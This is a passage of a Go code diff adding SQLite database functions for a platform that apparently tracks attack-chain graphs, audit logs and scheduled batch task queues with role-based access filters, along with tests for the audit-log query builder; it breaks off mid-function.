|
|
||||||
|
err := rows.Scan(&edge.ID, &edge.Source, &edge.Target, &edge.Type, &edge.Weight)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("扫描攻击链边失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
edges = append(edges, edge)
|
||||||
|
}
|
||||||
|
|
||||||
|
return edges, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteAttackChain 删除对话的攻击链数据
|
||||||
|
func (db *DB) DeleteAttackChain(conversationID string) error {
|
||||||
|
// 先删除边(因为有外键约束)
|
||||||
|
_, err := db.Exec("DELETE FROM attack_chain_edges WHERE conversation_id = ?", conversationID)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("删除攻击链边失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 再删除节点
|
||||||
|
_, err = db.Exec("DELETE FROM attack_chain_nodes WHERE conversation_id = ?", conversationID)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Error("删除攻击链节点失败", zap.Error(err), zap.String("conversationId", conversationID))
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,222 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AuditLog platform operation audit record.
|
||||||
|
type AuditLog struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
|
Level string `json:"level"`
|
||||||
|
Category string `json:"category"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
Result string `json:"result"`
|
||||||
|
Actor string `json:"actor"`
|
||||||
|
SessionHint string `json:"sessionHint,omitempty"`
|
||||||
|
ClientIP string `json:"clientIp,omitempty"`
|
||||||
|
UserAgent string `json:"userAgent,omitempty"`
|
||||||
|
ResourceType string `json:"resourceType,omitempty"`
|
||||||
|
ResourceID string `json:"resourceId,omitempty"`
|
||||||
|
ResourceAvailable *bool `json:"resourceAvailable,omitempty"` // API-only: whether linked resource still exists
|
||||||
|
Message string `json:"message"`
|
||||||
|
Detail map[string]interface{} `json:"detail,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListAuditLogsFilter query parameters.
|
||||||
|
type ListAuditLogsFilter struct {
|
||||||
|
Actor string
|
||||||
|
Level string
|
||||||
|
Category string
|
||||||
|
Action string
|
||||||
|
Result string
|
||||||
|
Query string
|
||||||
|
ResourceType string
|
||||||
|
ResourceID string
|
||||||
|
RelatedUserID string
|
||||||
|
Since *time.Time
|
||||||
|
Until *time.Time
|
||||||
|
Limit int
|
||||||
|
Offset int
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildAuditLogsWhere(filter ListAuditLogsFilter) (string, []interface{}) {
|
||||||
|
conditions := []string{"1=1"}
|
||||||
|
args := []interface{}{}
|
||||||
|
if filter.Actor != "" {
|
||||||
|
conditions = append(conditions, "actor = ?")
|
||||||
|
args = append(args, filter.Actor)
|
||||||
|
}
|
||||||
|
if filter.Level != "" {
|
||||||
|
conditions = append(conditions, "level = ?")
|
||||||
|
args = append(args, filter.Level)
|
||||||
|
}
|
||||||
|
if filter.Category != "" {
|
||||||
|
conditions = append(conditions, "category = ?")
|
||||||
|
args = append(args, filter.Category)
|
||||||
|
}
|
||||||
|
if filter.Action != "" {
|
||||||
|
conditions = append(conditions, "action = ?")
|
||||||
|
args = append(args, filter.Action)
|
||||||
|
}
|
||||||
|
if filter.Result != "" {
|
||||||
|
conditions = append(conditions, "result = ?")
|
||||||
|
args = append(args, filter.Result)
|
||||||
|
}
|
||||||
|
if filter.ResourceType != "" {
|
||||||
|
conditions = append(conditions, "resource_type = ?")
|
||||||
|
args = append(args, filter.ResourceType)
|
||||||
|
}
|
||||||
|
if filter.ResourceID != "" {
|
||||||
|
conditions = append(conditions, "resource_id = ?")
|
||||||
|
args = append(args, filter.ResourceID)
|
||||||
|
}
|
||||||
|
if relatedUserID := strings.TrimSpace(filter.RelatedUserID); relatedUserID != "" {
|
||||||
|
conditions = append(conditions, `(resource_id = ? OR detail_json LIKE ? OR detail_json LIKE ?)`)
|
||||||
|
args = append(args, relatedUserID, `%"user_id":"`+relatedUserID+`"%`, `%"userId":"`+relatedUserID+`"%`)
|
||||||
|
}
|
||||||
|
if filter.Since != nil {
|
||||||
|
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||||
|
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||||
|
}
|
||||||
|
if filter.Until != nil {
|
||||||
|
conditions = append(conditions, sqliteEpochGE("created_at", "<="))
|
||||||
|
args = append(args, formatSQLiteUTC(*filter.Until))
|
||||||
|
}
|
||||||
|
if q := strings.TrimSpace(filter.Query); q != "" {
|
||||||
|
like := "%" + q + "%"
|
||||||
|
conditions = append(conditions, "(message LIKE ? OR resource_id LIKE ? OR action LIKE ? OR category LIKE ? OR detail_json LIKE ?)")
|
||||||
|
args = append(args, like, like, like, like, like)
|
||||||
|
}
|
||||||
|
return strings.Join(conditions, " AND "), args
|
||||||
|
}
|
||||||
|
|
||||||
|
// AppendAuditLog inserts one audit row.
|
||||||
|
func (db *DB) AppendAuditLog(row *AuditLog) error {
|
||||||
|
if row == nil {
|
||||||
|
return errors.New("audit log is nil")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(row.ID) == "" {
|
||||||
|
return errors.New("audit id is required")
|
||||||
|
}
|
||||||
|
if row.CreatedAt.IsZero() {
|
||||||
|
row.CreatedAt = time.Now().UTC()
|
||||||
|
} else {
|
||||||
|
row.CreatedAt = row.CreatedAt.UTC()
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(row.Level) == "" {
|
||||||
|
row.Level = "info"
|
||||||
|
}
|
||||||
|
detailJSON := ""
|
||||||
|
if len(row.Detail) > 0 {
|
||||||
|
if b, err := json.Marshal(row.Detail); err == nil {
|
||||||
|
detailJSON = string(b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
query := `
|
||||||
|
INSERT INTO audit_logs (
|
||||||
|
id, created_at, level, category, action, result, actor, session_hint,
|
||||||
|
client_ip, user_agent, resource_type, resource_id, message, detail_json
|
||||||
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
|
`
|
||||||
|
_, err := db.Exec(query,
|
||||||
|
row.ID, formatSQLiteUTC(row.CreatedAt), row.Level, row.Category, row.Action, row.Result,
|
||||||
|
row.Actor, row.SessionHint, row.ClientIP, row.UserAgent,
|
||||||
|
row.ResourceType, row.ResourceID, row.Message, detailJSON,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAuditLogByID returns one row.
|
||||||
|
func (db *DB) GetAuditLogByID(id string) (*AuditLog, error) {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" {
|
||||||
|
return nil, errors.New("id is required")
|
||||||
|
}
|
||||||
|
query := `
|
||||||
|
SELECT id, created_at, level, category, action, result, actor,
|
||||||
|
COALESCE(session_hint, ''), COALESCE(client_ip, ''), COALESCE(user_agent, ''),
|
||||||
|
COALESCE(resource_type, ''), COALESCE(resource_id, ''), message, COALESCE(detail_json, '')
|
||||||
|
FROM audit_logs WHERE id = ?
|
||||||
|
`
|
||||||
|
var row AuditLog
|
||||||
|
var detailJSON string
|
||||||
|
err := db.QueryRow(query, id).Scan(
|
||||||
|
&row.ID, &row.CreatedAt, &row.Level, &row.Category, &row.Action, &row.Result, &row.Actor,
|
||||||
|
&row.SessionHint, &row.ClientIP, &row.UserAgent,
|
||||||
|
&row.ResourceType, &row.ResourceID, &row.Message, &detailJSON,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if detailJSON != "" {
|
||||||
|
_ = json.Unmarshal([]byte(detailJSON), &row.Detail)
|
||||||
|
}
|
||||||
|
return &row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CountAuditLogs counts rows matching filter.
|
||||||
|
func (db *DB) CountAuditLogs(filter ListAuditLogsFilter) (int64, error) {
|
||||||
|
where, args := buildAuditLogsWhere(filter)
|
||||||
|
query := `SELECT COUNT(*) FROM audit_logs WHERE ` + where
|
||||||
|
var n int64
|
||||||
|
err := db.QueryRow(query, args...).Scan(&n)
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListAuditLogs lists audit rows newest first.
|
||||||
|
func (db *DB) ListAuditLogs(filter ListAuditLogsFilter) ([]*AuditLog, error) {
|
||||||
|
where, args := buildAuditLogsWhere(filter)
|
||||||
|
limit := filter.Limit
|
||||||
|
if limit <= 0 || limit > 500 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
offset := filter.Offset
|
||||||
|
if offset < 0 {
|
||||||
|
offset = 0
|
||||||
|
}
|
||||||
|
query := `
|
||||||
|
SELECT id, created_at, level, category, action, result, actor,
|
||||||
|
COALESCE(session_hint, ''), COALESCE(client_ip, ''), COALESCE(user_agent, ''),
|
||||||
|
COALESCE(resource_type, ''), COALESCE(resource_id, ''), message, COALESCE(detail_json, '')
|
||||||
|
FROM audit_logs
|
||||||
|
WHERE ` + where + `
|
||||||
|
ORDER BY created_at DESC
|
||||||
|
LIMIT ? OFFSET ?
|
||||||
|
`
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var list []*AuditLog
|
||||||
|
for rows.Next() {
|
||||||
|
var row AuditLog
|
||||||
|
var detailJSON string
|
||||||
|
if err := rows.Scan(
|
||||||
|
&row.ID, &row.CreatedAt, &row.Level, &row.Category, &row.Action, &row.Result, &row.Actor,
|
||||||
|
&row.SessionHint, &row.ClientIP, &row.UserAgent,
|
||||||
|
&row.ResourceType, &row.ResourceID, &row.Message, &detailJSON,
|
||||||
|
); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if detailJSON != "" {
|
||||||
|
_ = json.Unmarshal([]byte(detailJSON), &row.Detail)
|
||||||
|
}
|
||||||
|
list = append(list, &row)
|
||||||
|
}
|
||||||
|
return list, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteAuditLogsBefore removes rows older than cutoff.
|
||||||
|
func (db *DB) DeleteAuditLogsBefore(cutoff time.Time) (int64, error) {
|
||||||
|
res, err := db.Exec(`DELETE FROM audit_logs WHERE `+sqliteEpochGE("created_at", "<"), formatSQLiteUTC(cutoff))
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return res.RowsAffected()
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBuildAuditLogsWhere_timeFilterSQL(t *testing.T) {
|
||||||
|
since := time.Date(2026, 6, 16, 17, 2, 0, 0, time.UTC)
|
||||||
|
until := time.Date(2026, 6, 17, 3, 3, 0, 0, time.UTC)
|
||||||
|
where, args := buildAuditLogsWhere(ListAuditLogsFilter{Since: &since, Until: &until})
|
||||||
|
if !strings.Contains(where, "strftime('%s', created_at) >=") {
|
||||||
|
t.Fatalf("expected epoch comparison for since, got %q", where)
|
||||||
|
}
|
||||||
|
if !strings.Contains(where, "strftime('%s', created_at) <=") {
|
||||||
|
t.Fatalf("expected epoch comparison for until, got %q", where)
|
||||||
|
}
|
||||||
|
if len(args) != 2 {
|
||||||
|
t.Fatalf("expected 2 time args, got %d", len(args))
|
||||||
|
}
|
||||||
|
for i, arg := range args {
|
||||||
|
s, ok := arg.(string)
|
||||||
|
if !ok || s == "" {
|
||||||
|
t.Fatalf("arg %d: want non-empty UTC RFC3339 string, got %v", i, arg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildAuditLogsWhere_relatedUserID(t *testing.T) {
|
||||||
|
where, args := buildAuditLogsWhere(ListAuditLogsFilter{Category: "rbac", RelatedUserID: "user-123"})
|
||||||
|
if !strings.Contains(where, "resource_id = ?") || !strings.Contains(where, "detail_json LIKE ?") {
|
||||||
|
t.Fatalf("expected related-user predicates, got %q", where)
|
||||||
|
}
|
||||||
|
if len(args) != 4 {
|
||||||
|
t.Fatalf("expected category plus 3 related-user args, got %#v", args)
|
||||||
|
}
|
||||||
|
if args[1] != "user-123" || args[2] != `%"user_id":"user-123"%` || args[3] != `%"userId":"user-123"%` {
|
||||||
|
t.Fatalf("unexpected related-user args: %#v", args)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListAuditLogs_timeFilterMixedStorageFormats(t *testing.T) {
|
||||||
|
root, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
t.Skip(err)
|
||||||
|
}
|
||||||
|
dbPath := filepath.Join(root, "..", "..", "data", "conversations.db")
|
||||||
|
if _, err := os.Stat(dbPath); err != nil {
|
||||||
|
t.Skip("conversations.db not found")
|
||||||
|
}
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
since, _ := ParseRFC3339Time("2026-06-16T17:02:00Z")
|
||||||
|
until, _ := ParseRFC3339Time("2026-06-17T03:03:00Z")
|
||||||
|
filter := ListAuditLogsFilter{Since: &since, Until: &until, Limit: 50}
|
||||||
|
logs, err := db.ListAuditLogs(filter)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, row := range logs {
|
||||||
|
at := row.CreatedAt.UTC()
|
||||||
|
if at.Before(since) || at.After(until) {
|
||||||
|
t.Fatalf("log %s at %s outside [%s, %s]", row.ID, at, since, until)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,631 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BatchTaskQueueRow 批量任务队列数据库行
|
||||||
|
type BatchTaskQueueRow struct {
|
||||||
|
ID string
|
||||||
|
Title sql.NullString
|
||||||
|
Role sql.NullString
|
||||||
|
AgentMode sql.NullString
|
||||||
|
ScheduleMode sql.NullString
|
||||||
|
CronExpr sql.NullString
|
||||||
|
NextRunAt sql.NullTime
|
||||||
|
ScheduleEnabled sql.NullInt64
|
||||||
|
LastScheduleTriggerAt sql.NullTime
|
||||||
|
LastScheduleError sql.NullString
|
||||||
|
LastRunError sql.NullString
|
||||||
|
ProjectID sql.NullString
|
||||||
|
Concurrency sql.NullInt64
|
||||||
|
Status string
|
||||||
|
CreatedAt time.Time
|
||||||
|
StartedAt sql.NullTime
|
||||||
|
CompletedAt sql.NullTime
|
||||||
|
CurrentIndex int
|
||||||
|
}
|
||||||
|
|
||||||
|
// BatchTaskRow 批量任务数据库行
|
||||||
|
type BatchTaskRow struct {
|
||||||
|
ID string
|
||||||
|
QueueID string
|
||||||
|
Message string
|
||||||
|
ConversationID sql.NullString
|
||||||
|
Status string
|
||||||
|
StartedAt sql.NullTime
|
||||||
|
CompletedAt sql.NullTime
|
||||||
|
Error sql.NullString
|
||||||
|
Result sql.NullString
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateBatchQueue 创建批量任务队列
|
||||||
|
func (db *DB) CreateBatchQueue(
|
||||||
|
queueID string,
|
||||||
|
title string,
|
||||||
|
role string,
|
||||||
|
agentMode string,
|
||||||
|
scheduleMode string,
|
||||||
|
cronExpr string,
|
||||||
|
nextRunAt *time.Time,
|
||||||
|
projectID string,
|
||||||
|
concurrency int,
|
||||||
|
tasks []map[string]interface{},
|
||||||
|
) error {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开始事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
var nextRunAtValue interface{}
|
||||||
|
if nextRunAt != nil {
|
||||||
|
nextRunAtValue = *nextRunAt
|
||||||
|
}
|
||||||
|
|
||||||
|
var projectIDVal interface{}
|
||||||
|
if strings.TrimSpace(projectID) != "" {
|
||||||
|
projectIDVal = strings.TrimSpace(projectID)
|
||||||
|
}
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"INSERT INTO batch_task_queues (id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, project_id, concurrency, status, created_at, current_index) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||||
|
queueID, title, role, agentMode, scheduleMode, cronExpr, nextRunAtValue, 1, projectIDVal, concurrency, "pending", now, 0,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("创建批量任务队列失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 插入任务
|
||||||
|
for _, task := range tasks {
|
||||||
|
taskID, ok := task["id"].(string)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
message, ok := task["message"].(string)
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"INSERT INTO batch_tasks (id, queue_id, message, status) VALUES (?, ?, ?, ?)",
|
||||||
|
taskID, queueID, message, "pending",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("创建批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
|
const batchQueueSelectColumns = `id, title, role, agent_mode, schedule_mode, cron_expr, next_run_at, schedule_enabled, last_schedule_trigger_at, last_schedule_error, last_run_error, project_id, concurrency, status, created_at, started_at, completed_at, current_index`
|
||||||
|
|
||||||
|
// GetBatchQueue 获取批量任务队列
|
||||||
|
func (db *DB) GetBatchQueue(queueID string) (*BatchTaskQueueRow, error) {
|
||||||
|
var row BatchTaskQueueRow
|
||||||
|
var createdAt string
|
||||||
|
err := db.QueryRow(
|
||||||
|
"SELECT "+batchQueueSelectColumns+" FROM batch_task_queues WHERE id = ?",
|
||||||
|
queueID,
|
||||||
|
).Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex)
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询批量任务队列失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
// 尝试其他时间格式
|
||||||
|
parsedTime, parseErr = time.Parse(time.RFC3339, createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
db.logger.Warn("解析创建时间失败", zap.String("createdAt", createdAt), zap.Error(parseErr))
|
||||||
|
parsedTime = time.Now()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
row.CreatedAt = parsedTime
|
||||||
|
return &row, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAllBatchQueues 获取所有批量任务队列
|
||||||
|
func (db *DB) GetAllBatchQueues() ([]*BatchTaskQueueRow, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
"SELECT " + batchQueueSelectColumns + " FROM batch_task_queues ORDER BY created_at DESC",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询批量任务队列列表失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var queues []*BatchTaskQueueRow
|
||||||
|
for rows.Next() {
|
||||||
|
var row BatchTaskQueueRow
|
||||||
|
var createdAt string
|
||||||
|
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
|
||||||
|
}
|
||||||
|
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
parsedTime, parseErr = time.Parse(time.RFC3339, createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
db.logger.Warn("解析创建时间失败", zap.String("createdAt", createdAt), zap.Error(parseErr))
|
||||||
|
parsedTime = time.Now()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
row.CreatedAt = parsedTime
|
||||||
|
queues = append(queues, &row)
|
||||||
|
}
|
||||||
|
|
||||||
|
return queues, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListBatchQueues 列出批量任务队列(支持筛选和分页)
|
||||||
|
func (db *DB) ListBatchQueues(limit, offset int, status, keyword string) ([]*BatchTaskQueueRow, error) {
|
||||||
|
return db.ListBatchQueuesForAccess(limit, offset, status, keyword, "", "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListBatchQueuesForAccess(limit, offset int, status, keyword, userID, scope string) ([]*BatchTaskQueueRow, error) {
|
||||||
|
query := "SELECT " + batchQueueSelectColumns + " FROM batch_task_queues WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
|
||||||
|
// 状态筛选
|
||||||
|
if status != "" && status != "all" {
|
||||||
|
query += " AND status = ?"
|
||||||
|
args = append(args, status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关键字搜索(搜索队列ID和标题)
|
||||||
|
if keyword != "" {
|
||||||
|
query += " AND (id LIKE ? OR title LIKE ?)"
|
||||||
|
args = append(args, "%"+keyword+"%", "%"+keyword+"%")
|
||||||
|
}
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID != "" && scope != RBACScopeAll {
|
||||||
|
query += ` AND (
|
||||||
|
owner_user_id = ?
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'batch_task' AND ra.resource_id = batch_task_queues.id
|
||||||
|
)
|
||||||
|
OR (
|
||||||
|
project_id IS NOT NULL AND project_id <> '' AND (
|
||||||
|
EXISTS (SELECT 1 FROM projects p WHERE p.id = batch_task_queues.project_id AND p.owner_user_id = ?)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments pra
|
||||||
|
WHERE pra.user_id = ? AND pra.resource_type = 'project' AND pra.resource_id = batch_task_queues.project_id
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, userID, userID, userID, userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
query += " ORDER BY created_at DESC LIMIT ? OFFSET ?"
|
||||||
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
|
rows, err := db.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询批量任务队列列表失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var queues []*BatchTaskQueueRow
|
||||||
|
for rows.Next() {
|
||||||
|
var row BatchTaskQueueRow
|
||||||
|
var createdAt string
|
||||||
|
if err := rows.Scan(&row.ID, &row.Title, &row.Role, &row.AgentMode, &row.ScheduleMode, &row.CronExpr, &row.NextRunAt, &row.ScheduleEnabled, &row.LastScheduleTriggerAt, &row.LastScheduleError, &row.LastRunError, &row.ProjectID, &row.Concurrency, &row.Status, &createdAt, &row.StartedAt, &row.CompletedAt, &row.CurrentIndex); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描批量任务队列失败: %w", err)
|
||||||
|
}
|
||||||
|
parsedTime, parseErr := time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
parsedTime, parseErr = time.Parse(time.RFC3339, createdAt)
|
||||||
|
if parseErr != nil {
|
||||||
|
db.logger.Warn("解析创建时间失败", zap.String("createdAt", createdAt), zap.Error(parseErr))
|
||||||
|
parsedTime = time.Now()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
row.CreatedAt = parsedTime
|
||||||
|
queues = append(queues, &row)
|
||||||
|
}
|
||||||
|
|
||||||
|
return queues, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CountBatchQueues 统计批量任务队列总数(支持筛选条件)
|
||||||
|
func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
|
||||||
|
return db.CountBatchQueuesForAccess(status, keyword, "", "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CountBatchQueuesForAccess(status, keyword, userID, scope string) (int, error) {
|
||||||
|
query := "SELECT COUNT(*) FROM batch_task_queues WHERE 1=1"
|
||||||
|
args := []interface{}{}
|
||||||
|
|
||||||
|
// 状态筛选
|
||||||
|
if status != "" && status != "all" {
|
||||||
|
query += " AND status = ?"
|
||||||
|
args = append(args, status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关键字搜索(搜索队列ID和标题)
|
||||||
|
if keyword != "" {
|
||||||
|
query += " AND (id LIKE ? OR title LIKE ?)"
|
||||||
|
args = append(args, "%"+keyword+"%", "%"+keyword+"%")
|
||||||
|
}
|
||||||
|
userID = strings.TrimSpace(userID)
|
||||||
|
if userID != "" && scope != RBACScopeAll {
|
||||||
|
query += ` AND (
|
||||||
|
owner_user_id = ?
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments ra
|
||||||
|
WHERE ra.user_id = ? AND ra.resource_type = 'batch_task' AND ra.resource_id = batch_task_queues.id
|
||||||
|
)
|
||||||
|
OR (
|
||||||
|
project_id IS NOT NULL AND project_id <> '' AND (
|
||||||
|
EXISTS (SELECT 1 FROM projects p WHERE p.id = batch_task_queues.project_id AND p.owner_user_id = ?)
|
||||||
|
OR EXISTS (
|
||||||
|
SELECT 1 FROM rbac_resource_assignments pra
|
||||||
|
WHERE pra.user_id = ? AND pra.resource_type = 'project' AND pra.resource_id = batch_task_queues.project_id
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)`
|
||||||
|
args = append(args, userID, userID, userID, userID)
|
||||||
|
}
|
||||||
|
|
||||||
|
var count int
|
||||||
|
err := db.QueryRow(query, args...).Scan(&count)
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("统计批量任务队列总数失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetBatchTasks 获取批量任务队列的所有任务
|
||||||
|
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
|
||||||
|
queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var tasks []*BatchTaskRow
|
||||||
|
for rows.Next() {
|
||||||
|
var task BatchTaskRow
|
||||||
|
if err := rows.Scan(
|
||||||
|
&task.ID, &task.QueueID, &task.Message, &task.ConversationID,
|
||||||
|
&task.Status, &task.StartedAt, &task.CompletedAt, &task.Error, &task.Result,
|
||||||
|
); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
tasks = append(tasks, &task)
|
||||||
|
}
|
||||||
|
|
||||||
|
return tasks, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchQueueStatus 更新批量任务队列状态
|
||||||
|
func (db *DB) UpdateBatchQueueStatus(queueID, status string) error {
|
||||||
|
var err error
|
||||||
|
now := time.Now()
|
||||||
|
|
||||||
|
if status == "running" {
|
||||||
|
_, err = db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET status = ?, started_at = COALESCE(started_at, ?) WHERE id = ?",
|
||||||
|
status, now, queueID,
|
||||||
|
)
|
||||||
|
} else if status == "completed" || status == "cancelled" {
|
||||||
|
_, err = db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET status = ?, completed_at = COALESCE(completed_at, ?) WHERE id = ?",
|
||||||
|
status, now, queueID,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
_, err = db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET status = ? WHERE id = ?",
|
||||||
|
status, queueID,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务队列状态失败: %w", err)
